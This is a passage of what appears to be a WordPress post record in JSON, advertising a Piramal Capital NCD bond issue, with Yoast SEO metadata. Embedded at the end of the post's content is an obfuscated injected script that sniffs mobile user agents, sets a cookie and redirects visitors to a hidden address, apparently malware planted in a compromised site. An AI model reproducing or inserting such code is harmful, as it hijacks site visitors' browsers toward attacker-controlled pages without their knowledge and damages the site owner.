)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Yield more than 8% | Payment via UPI | \u2018AA\u2019 rated by CRISIL | Minimum investment amount is 10 K\u00a0 Piramal Capital&hellip;<\/p>\n","protected":false},"author":4,"featured_media":12035,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_lmt_disableupdate":"no","_lmt_disable":"","footnotes":""},"categories":[113],"tags":[62,64,80],"class_list":["post-3176","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ncd-ipo","tag-bonds-and-debentures","tag-corporate-bonds","tag-bond-ipo"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>NCD-IPO: Piramal Capital &amp; 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